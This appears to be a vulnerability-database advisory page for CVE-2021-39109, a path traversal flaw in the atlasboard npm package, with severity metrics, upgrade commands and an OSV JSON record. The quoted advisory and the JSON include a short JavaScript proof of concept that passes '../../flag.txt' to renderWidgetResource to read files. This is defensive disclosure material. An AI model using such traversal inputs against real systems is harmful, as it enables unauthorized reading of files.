CVE-2021-39109: Atlasboard Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-25pr-6pr6-68v7
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CVSS 7.5
CWE-22
Published
Advisory Summary

CVE-2021-39109 is a HIGH (CVSS 7.5) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Atlasboard libraries in the npm ecosystem. The issue involves path traversal in atlasboard. Remediation is available by upgrading affected packages to version 1.1.9.

CVE-2021-39109 at a Glance

CVE Identifier CVE-2021-39109
GHSA Identifier GHSA-25pr-6pr6-68v7
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Atlasboard
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2021-39109

To remediate this vulnerability, upgrade all affected Atlasboard dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

atlasboard fixed: 1.1.9 
npm install atlasboard@1.1.9
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls atlasboard

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2021-39109, inspect your project dependencies using npm:

npm ls atlasboard

Analyze the terminal output to locate any version of Atlasboard in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.1.9), your application is affected.

Note: The npm ls atlasboard command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Atlasboard, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability. ### PoC ```javascript const widget = require(\"atlasboard/lib/webapp/routes/widget\"); // Mock req and res const req = {}; const res = { sendFile: (filePath) => { // Read and return file contents synchronously const data = fs.readFileSync(filePath, \"utf8\"); console.log(\"Contents of /flag.txt:\"); console.log(data); }, status: function (code) { this.statusCode = code; return this; }, send: function (msg) { throw new Error(`Server responded with status ${this.statusCode}: ${msg}`); }, }; // localPackagesPath set to root to allow traversal to /flag.txt const localPackagesPath = \"/\"; // resource string with path traversal to escape localPackagesPath and widgets directory const resource = \"../../flag.txt\"; // Call vulnerable function await widget.renderWidgetResource(localPackagesPath, resource, req, res); ```

CVE-2021-39109 Affected Atlasboard Versions

1 component(s)
Fixed Versions:
1.1.9
Product / Package Ecosystem Affected Versions Fixed Version
atlasboard
npm/atlasboard
npm
< 1.1.9
1.1.9

References

NVD — CVE-2021-39109 NVD
https://nvd.nist.gov/vuln/detail/CVE-2021-39109
arxiv.org/abs/2506.04962 WEB
https://arxiv.org/abs/2506.04962
arxiv.org/pdf/2506.04962 WEB
https://arxiv.org/pdf/2506.04962
bitbucket.org/atlassian/atlasboar... WEB
https://bitbucket.org/atlassian/atlasboard/commits/9c03df09f09399e2601010466e8ba3a28236eb9c
bitbucket.org/atlassian/atlasboar... WEB
https://bitbucket.org/atlassian/atlasboard/pull-requests/91/buildeng-19379-apply-only-the-path
bitbucket.org/atlassian/atlasboar... WEB
https://bitbucket.org/atlassian/atlasboard/src/master

Frequently Asked Questions

What is CVE-2021-39109?
CVE-2021-39109 is a security vulnerability in Atlasboard involving Path traversal in atlasboard under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Atlasboard versions are affected?
Affected versions include releases prior to 1.1.9 across affected packages: atlasboard.
What version fixes CVE-2021-39109?
Upgrading to 1.1.9 (or the latest patched release for your respective branch) resolves the vulnerability.
Is atlasboard affected?
Yes, atlasboard is affected in releases prior to 1.1.9. Upgrade your dependency to 1.1.9 or later.
What is the CVSS score of CVE-2021-39109?
CVE-2021-39109 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2021-39109?
CVE-2021-39109 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check npm dependencies for CVE-2021-39109?
Run the dependency tree command: 'npm ls atlasboard'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-25pr-6pr6-68v7",
  "modified" : "2025-09-29T16:41:02Z",
  "published" : "2021-09-02T17:17:25Z",
  "aliases" : [ "CVE-2021-39109" ],
  "summary" : "Path traversal in atlasboard",
  "details" : "The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.\n\n### PoC\n```javascript\nconst widget = require(\\\"atlasboard/lib/webapp/routes/widget\\\");\n\n// Mock req and res\nconst req = {};\nconst res = {\n  sendFile: (filePath) => {\n    // Read and return file contents synchronously\n    const data = fs.readFileSync(filePath, \\\"utf8\\\");\n    console.log(\\\"Contents of /flag.txt:\\\");\n    console.log(data);\n  },\n  status: function (code) {\n    this.statusCode = code;\n    return this;\n  },\n  send: function (msg) {\n    throw new Error(`Server responded with status ${this.statusCode}: ${msg}`);\n  },\n};\n\n// localPackagesPath set to root to allow traversal to /flag.txt\nconst localPackagesPath = \\\"/\\\";\n\n// resource string with path traversal to escape localPackagesPath and widgets directory\nconst resource = \\\"../../flag.txt\\\";\n\n// Call vulnerable function\nawait widget.renderWidgetResource(localPackagesPath, resource, req, res);\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "atlasboard"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.1.9"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2021-39109"
  }, {
    "type" : "WEB",
    "url" : "https://arxiv.org/abs/2506.04962"
  }, {
    "type" : "WEB",
    "url" : "https://arxiv.org/pdf/2506.04962"
  }, {
    "type" : "WEB",
    "url" : "https://bitbucket.org/atlassian/atlasboard/commits/9c03df09f09399e2601010466e8ba3a28236eb9c"
  }, {
    "type" : "WEB",
    "url" : "https://bitbucket.org/atlassian/atlasboard/pull-requests/91/buildeng-19379-apply-only-the-path"
  }, {
    "type" : "WEB",
    "url" : "https://bitbucket.org/atlassian/atlasboard/src/master"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2021-09-02T16:35:00Z",
    "nvd_published_at" : "2021-09-01T06:15:00Z"
  }
}